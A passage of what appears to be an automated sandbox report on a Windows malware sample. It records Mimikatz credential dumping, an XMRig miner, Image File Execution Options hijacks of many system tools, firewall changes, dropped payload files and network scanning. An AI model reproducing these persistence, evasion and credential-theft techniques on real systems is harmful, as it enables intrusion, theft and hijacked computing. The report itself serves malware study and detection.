Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07-11-2024 15:56
Behavioral task
behavioral1
Sample
5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe
Resource
win10v2004-20241007-en
General
-
Target
5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe
-
Size
13.5MB
-
MD5
93c7b71d7ed6c32777549ff77e726769
-
SHA1
f4407286565d8df0c3d477495822356d8de9f3f3
-
SHA256
5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2
-
SHA512
5912271b9367fc1cd05560e7aa46723218ee40951279731198defd313b48cf352809c3fb0d895acac9bc26c6ba1687e21a3aba847fd8e912e949980260050a88
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Mimikatz family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2212 created 1888 2212 bytszzu.exe 37 -
Xmrig family
-
Contacts a large (28872) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral2/memory/5100-176-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-180-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-201-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-210-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-220-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-232-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-243-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-251-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-262-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-371-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-372-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig behavioral2/memory/5100-375-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
resource yara_rule behavioral2/memory/1864-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/1864-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/files/0x000b000000023b76-6.dat mimikatz behavioral2/memory/1436-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/2076-136-0x00007FF6BD0B0000-0x00007FF6BD19E000-memory.dmp mimikatz behavioral2/memory/2076-137-0x00007FF6BD0B0000-0x00007FF6BD19E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts bytszzu.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts bytszzu.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bytszzu.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2504 netsh.exe 1968 netsh.exe -
Executes dropped EXE 27 IoCs
pid Process 1436 bytszzu.exe 2212 bytszzu.exe 4588 wpcap.exe 3480 hbnqbyuem.exe 2076 vfshost.exe 5008 xohudmc.exe 5112 joxnkm.exe 2316 eybsetuye.exe 5100 bssyne.exe 5004 eybsetuye.exe 1576 eybsetuye.exe 2352 eybsetuye.exe 2324 eybsetuye.exe 3708 eybsetuye.exe 3148 eybsetuye.exe 3144 eybsetuye.exe 3904 eybsetuye.exe 3832 eybsetuye.exe 3456 eybsetuye.exe 4012 eybsetuye.exe 4760 eybsetuye.exe 4636 eybsetuye.exe 724 eybsetuye.exe 4280 bytszzu.exe 4164 eybsetuye.exe 2236 lmsemquci.exe 1744 bytszzu.exe -
Loads dropped DLL 12 IoCs
pid Process 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 4588 wpcap.exe 3480 hbnqbyuem.exe 3480 hbnqbyuem.exe 3480 hbnqbyuem.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 67 ifconfig.me 66 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 bytszzu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache bytszzu.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\joxnkm.exe xohudmc.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE bytszzu.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData bytszzu.exe File created C:\Windows\SysWOW64\joxnkm.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies bytszzu.exe -
resource yara_rule behavioral2/files/0x000b000000023c43-135.dat upx behavioral2/memory/2076-136-0x00007FF6BD0B0000-0x00007FF6BD19E000-memory.dmp upx behavioral2/memory/2076-137-0x00007FF6BD0B0000-0x00007FF6BD19E000-memory.dmp upx behavioral2/files/0x0008000000023c5e-151.dat upx behavioral2/memory/2316-152-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/2316-158-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/files/0x0008000000023c60-162.dat upx behavioral2/memory/5100-163-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5004-169-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/1576-173-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-176-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/2352-178-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-180-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/2324-183-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/3708-187-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/3148-191-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/3144-195-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/3904-199-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-201-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/3832-204-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/3456-208-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-210-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/4012-213-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/4760-217-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-220-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/4636-222-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/724-226-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/4164-231-0x00007FF72CFA0000-0x00007FF72CFFB000-memory.dmp upx behavioral2/memory/5100-232-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-243-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-251-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-262-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-371-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-372-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx behavioral2/memory/5100-375-0x00007FF7DF540000-0x00007FF7DF660000-memory.dmp upx -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\vuqibqfqb\UnattendGC\specials\trch-1.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\spoolsrv.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\schoedcl.xml bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\schoedcl.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\docmicfg.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\spoolsrv.xml bytszzu.exe File created C:\Windows\nsyinawm\schoedcl.xml bytszzu.exe File opened for modification C:\Windows\nsyinawm\spoolsrv.xml bytszzu.exe File opened for modification C:\Windows\vuqibqfqb\Corporate\log.txt cmd.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\xdvl-0.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\vimpcsvc.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\AppCapture64.dll bytszzu.exe File opened for modification C:\Windows\nsyinawm\bytszzu.exe 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\zlib1.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\svschost.xml bytszzu.exe File opened for modification C:\Windows\nsyinawm\svschost.xml bytszzu.exe File created C:\Windows\nsyinawm\bytszzu.exe 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\docmicfg.xml bytszzu.exe File created C:\Windows\nsyinawm\docmicfg.xml bytszzu.exe File opened for modification C:\Windows\nsyinawm\docmicfg.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\cnli-1.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\coli-0.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\crli-0.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\svschost.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\svschost.xml bytszzu.exe File opened for modification C:\Windows\nsyinawm\schoedcl.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\exma-1.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\vimpcsvc.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\docmicfg.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\tibe-2.dll bytszzu.exe File created C:\Windows\nsyinawm\spoolsrv.xml bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\ip.txt bytszzu.exe File opened for modification C:\Windows\vuqibqfqb\ieymcmqub\Packet.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\libxml2.dll bytszzu.exe File created C:\Windows\ime\bytszzu.exe bytszzu.exe File opened for modification C:\Windows\vuqibqfqb\ieymcmqub\Result.txt lmsemquci.exe File created C:\Windows\vuqibqfqb\ieymcmqub\Packet.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\libeay32.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\tucl-1.dll bytszzu.exe File created C:\Windows\nsyinawm\svschost.xml bytszzu.exe File created C:\Windows\vuqibqfqb\upbdrjv\swrpwe.exe bytszzu.exe File created C:\Windows\vuqibqfqb\Corporate\mimilib.dll bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\lmsemquci.exe bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\ssleay32.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\trfo-2.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\spoolsrv.xml bytszzu.exe File opened for modification C:\Windows\nsyinawm\vimpcsvc.xml bytszzu.exe File created C:\Windows\vuqibqfqb\Corporate\mimidrv.sys bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\vimpcsvc.xml bytszzu.exe File created C:\Windows\nsyinawm\vimpcsvc.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\AppCapture32.dll bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\scan.bat bytszzu.exe File created C:\Windows\vuqibqfqb\Corporate\vfshost.exe bytszzu.exe File created C:\Windows\vuqibqfqb\ieymcmqub\wpcap.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\posh-0.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\ucl.dll bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\specials\schoedcl.xml bytszzu.exe File created C:\Windows\vuqibqfqb\UnattendGC\Shellcode.ini bytszzu.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3488 sc.exe 2176 sc.exe 4404 sc.exe 2852 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened 